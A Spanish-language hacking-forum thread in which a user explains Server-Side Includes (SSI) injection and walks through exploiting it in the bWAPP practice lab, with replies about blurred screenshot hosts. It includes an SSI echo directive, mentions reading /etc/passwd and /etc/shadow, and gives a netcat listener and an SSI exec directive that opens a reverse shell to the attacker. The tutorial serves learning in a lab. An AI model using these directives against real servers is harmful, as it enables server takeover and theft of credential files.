Underc0de

[In]Seguridad Informática => Hacking => Mensaje iniciado por: HATI en Noviembre 25, 2017, 03:40:56 PM

Título: Explotando SSI Injection desde 0
Publicado por: HATI en Noviembre 25, 2017, 03:40:56 PM
(https://i.imgur.com/RLbb7is.png)


Introducción
-------------------------------------------------------

Estos días he estado testeando una aplicación web de un cliente y me he encontrado con una vulnerabilidad que desconocía (seguro que para muchos será conocida). Se trata de "Server-Side Includes (SSI) Injection" (https://www.owasp.org/index.php/Server-Side_Includes_(SSI)_Injection), y para saber bien de que se trata, primero hay que conocer que es una directiva SSI (https://es.wikipedia.org/wiki/Server_Side_Includes).

Cita de: Traducción - OWASP SSILas SSI son directivas presentes en las aplicaciones Web utilizadas para alimentar una página HTML con contenido dinámico. Son similares a los CGIs, excepto que los SSIs se utilizan para ejecutar algunas acciones antes de que se cargue la página actual o mientras se visualiza la página. Para ello, el servidor web analiza SSI antes de suministrar la página al usuario.

Las implementaciones comunes de SSI proporcionan comandos para incluir archivos externos, para establecer e imprimir variables de entorno CGI del servidor web, y para ejecutar scripts CGI externos o comandos de sistema.

Vamos a profundizar un poco y ver que se puede hacer con una directiva SSI, para comprender porqué es muy peligroso realizar una mala configuración de estas:













Los servidores más conocidos que soportan este tipo de directivas son Apache, Nginx, ISS, Lighthttpd y LiteSpeed, y generalmente se encuentran en archivos con extensión ".shtml", ".stm" o ".shtm", aunque no siempre es así.

Por lo tanto, la vulnerabilidad es básicamente una inyección de código que explota directivas SSI, y que, dependiendo de la configuración del servidor, puede conllevar, entre otros casos, a la ejecución de código arbitrario en el server, inclusión de archivos, ejecución de código javascript...

Fuetntes y más información:

- No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
- No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
- No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
- No tienes permitido ver enlaces. Registrate o Entra a tu cuenta


Una vez explicado esto, podemos ir a la acción  8)



PoC
---------------------------------

Para buscar aplicaciones vulnerables, podemos usar dorks, os dejo algunos de ejemplo, aunque se pueden crear más elaborados:


Por suerte, el entorno de pruebas No tienes permitido ver enlaces. Registrate o Entra a tu cuenta nos permite testear este tipo de ataques sin hacer daño a nadie.  ;D

Para montar el lab, solo es necesario subir el contenido de bWAPP a un servidor con PHP y base de datos, podeís usar No tienes permitido ver enlaces. Registrate o Entra a tu cuentao similar para hacer esto. Os dejo una guía por si alguien quiere detalles de la instalación:


Una vez tengamos todo el lab montado, hay que configurar un proxy para interceptar las peticiones, yo usaré No tienes permitido ver enlaces. Registrate o Entra a tu cuenta. Seleccionamos la opción correspondiente a SSI Injection y ya tenemos todo listo para comenzar.



En el supuesto de un escenario real, lo primero que debemos hacer para testear la vulnerabilidad sería validar los parámetros de entrada. Haciendo una petición con los caracteres que debe filtrar una directiva SSI lo comprobamos.

Caracteres: < ! # = / . " - > and [a-zA-Z0-9]

Petición

Respuesta


Se puede ver claramente que noha filtrado nada, ya que nos devuelve los valores introducidos.

A continuación, probemos con una variable de entorno para ver el resultado:

Variable de entorno: <!--#echo var="DATE_LOCAL" -->

Petición

Respuesta

La variable introducida contiene el valor de la fecha del sistema del servidor, lo que significa que podemos interactuar con él. Vamos a comprobar si tenemos acceso a datos sensibles cómo pueden ser los directorios /etc/passwd o /etc/shadow.

Directivas enviadas:


Respuesta

Por último, veamos cómo obtener una shell para tener total control del servidor. Para ello, tenemos que abrir una conexión con netcat, para luego enviar una directiva que indique al server la conexión.


Comando netcat:

[/list]
Código (bash) [Seleccionar]
nc -nlvp -p 1337

Directiva: <!--#exec cmd="nc No tienes permitido ver enlaces. Registrate o Entra a tu cuenta 1337 -e /bin/bash"-->

Shell:


Espero que os haya gustado. Un saludo, HATI
Título: Re:Explotando SSI Injection desde 0
Publicado por: lucky1234 en Noviembre 25, 2017, 06:16:58 PM
Fantastico, no conocia esa vulnerabilidad, lo que no entiendo es porque tapas en la peticion del burpsuite la parte del Host, si lo estas haciendo en Local y sale la Ip de la maquina virtual en el parametro "Referer"
Título: Re:Explotando SSI Injection desde 0
Publicado por: HATI en Noviembre 25, 2017, 07:22:56 PM
No estaba en mi lan.
Título: Re:Explotando SSI Injection desde 0
Publicado por: lucky1234 en Noviembre 25, 2017, 09:34:28 PM
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
No estaba en mi lan.

¿Como que no esta en tu LAN? Si el ataque lo estas haciendo en la maquina bwapp (tiene buena pinta la verdad)

=P
Título: Re:Explotando SSI Injection desde 0
Publicado por: HATI en Noviembre 26, 2017, 04:27:28 AM
Se me escapó esa  ;D
No estaba en mi lan, solo digo eso jaja
Título: Re:Explotando SSI Injection desde 0
Publicado por: lucky1234 en Noviembre 26, 2017, 06:49:53 AM
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Se me escapó esa  ;D
No estaba en mi lan, solo digo eso jaja

Vaya Vaya que me quita la foto y todo :(

No se porque la verdad si todas las fotos que tienes puestas del Burpsuite son del BWAPP, es que no entiendo porque lo tapas tio jajaja osea quizas con tu cliente se lo hayas hecho pero lo que estas posteando son pruebas de la plataforma bwapp men :S :S
Título: Re:Explotando SSI Injection desde 0
Publicado por: HATI en Noviembre 26, 2017, 07:07:53 AM
No es la máquina bWAPP, es solo la plataforma web. Ya te conteste por mp.